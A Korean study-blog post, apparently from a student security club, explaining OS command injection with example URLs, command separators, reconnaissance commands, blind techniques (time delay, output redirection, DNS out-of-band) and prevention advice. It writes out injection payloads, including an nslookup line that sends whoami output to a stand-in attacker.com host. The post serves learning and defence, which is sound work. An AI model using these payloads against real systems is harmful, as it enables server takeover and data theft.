TigerDemon

Command Injection 정의 및 공격 기법 본문

2025-SWLUG/웹해킹

Command Injection 정의 및 공격 기법

호랑2D 2025. 10. 1. 00:22

Command Injection (shell Injection)

검증되지 않은 사용자 입력이 OS 명령어로 실행될 때 발생하는 취약점
  • 작은 입력 조작 -> 서버 권한 탈취 가능
  • 웹 <-> OS 보안 경계 붕괴
  • 애플리케이션·데이터 완전 장악 가능
  • 서버 인프라 확장 공격 (pivoting)
  • 신뢰 관계 악용 -> 조직 내 다른 시스템 공격

공격 기법

1. 단순 주입(echo, whoami 등)

시나리오A

  • 사용자가 웹 브라우저에서 정상적인 URL 요청을 보냄
https://insecure-website.com/stockStatus?productID=381&storeID=29

- 여기서 productID와 storeID는 단순히 숫자 값

- 사용자는 "상품 381번이 매장 29번에 있는지"를 확인하려는 것일 뿐

 

정상 동작 - 서버 내부 실행

  • 서버는 입력받은 값 그대로 Perl 스크립트의 인자로 전달
stockreport.pl 381 29

- 이 스크립트는 재고 조회 기능을 수행

- 결과 : 정상적으로 재고 여부(있음/없음)를 반환

 

공격 발생 - 악성 입력 전달

  • 공격자는 productID 자리에 특수문자와 명령어를 삽입
https://insecure-website.com/stockStatus?productID=& echo aiwefwlguh & &storeID=29

- & 기호는 명령어 구분자로, 여러 명령을 연달아 실행하게 만듦

- 따라서 이제 단순 재고 조회가 아닌, 추가 명령어(echo) 실행 시도가 발생

 

공격 발생 - 서버 실행 결과

  •  서버는 실제로 다음 명령을 실행함
stockreport.pl & echo aiwefwlguh & 29

 - 원래 들어가야 할 381은 사라지고 공격자 입력이 삽입되어 3개의 명령어로 나뉨

1. stockreport.pl (인자 없음 -> 에러)

2. echo aiwefwlguh (공격자 문자열 출력)

3. 29 (명령으로 실행 -> 에러)

 

 

기본 명령어

-> 공격자가 시스템에 들어가면 "지금 내가 어디 있는지, 무슨 권한인지" 확인하려고 이런 명령어부터 실행

목적 Linux Windows
현재 사용자  whoami whoami
OS 버전 확인 uname -a ver
네트워크 설정 ifconfig ipconfig /all
열려있는 연결 netstat -an netstat -an
실행 중 프로세스 ps -ef tasklist

 

 

2. Blind OS command injection

많은 사례는 블라인드 취약점 -> 명령 실행 결과가 HTTP 응답에 직접 나타나지 않음

출력이 없더라도 다양한 기법으로 탐지·악용 가능

 

기법 1 : 시간 지연

  • 응답 시간이 지연되는지로 확인
& ping -c 10 127.0.0.1 &

 

기법 2 : 출력 리다이렉션

  • 파일을 직접 열어 결과 확인
& whoami > /var/www/static/whoami.txt &

 

기법 3 : Out-of-Band (OAST) 

  • 공격자가 제어하는 서버로 DNS 요청 발생
& nslookup attacker.com &

 

 

기법 4 : 데이터 유출

  • 공격자가 자신의 DNS 서버에서 whoami 결과를 확인 가능
& nslookup \whoami'.attacker.com &'

 

3. OS Command Injeciton

명령어 구분자 실행

- Windows / Unix 공통 : &, &&, |, ||

- Unix 전용 : ;, 줄바꿈(\n)

 

인라인 실행(Unix)

- whoami',$(uname -a)

- 원래 명령 안에 삽입되어 실행됨

 

메타문자의 특성

- 구분자/인라인 기호마다 동작 차이가 있음

- 어떤 것은 출력이 바로 보이고(in-band), 어떤 것은 Blind 상황에서만 활용 가능

 

따옴표 닫고 주입

- 입력이 ", ' 안에 있으면 먼저 닫기

- 이후에 새로운 명령 삽입

- 예: "test";whoami;"

 

OS Command Injeciton 예방 방법

가장 확실한 방법

애플리케이션 코드에서 OS 명령 호출 자체를 하지 않기

예 : 파일 목록 필요 -> ls 호출 X, 언어 API(os.listdir()) 사용O

 

불가피한 경우

1. 화이트리스트 검증 : 허용된 값만 입력 가능

2. 숫자만 허용 : storeID=29 같은 값만 허용

3. 알파벳·숫자만 허용 : 공백, 특수문자 차단

 

잘못된 대응

단순히 메타문자를 escape 처리 X -> 공격자는 쉽게 우회 가능하기 때문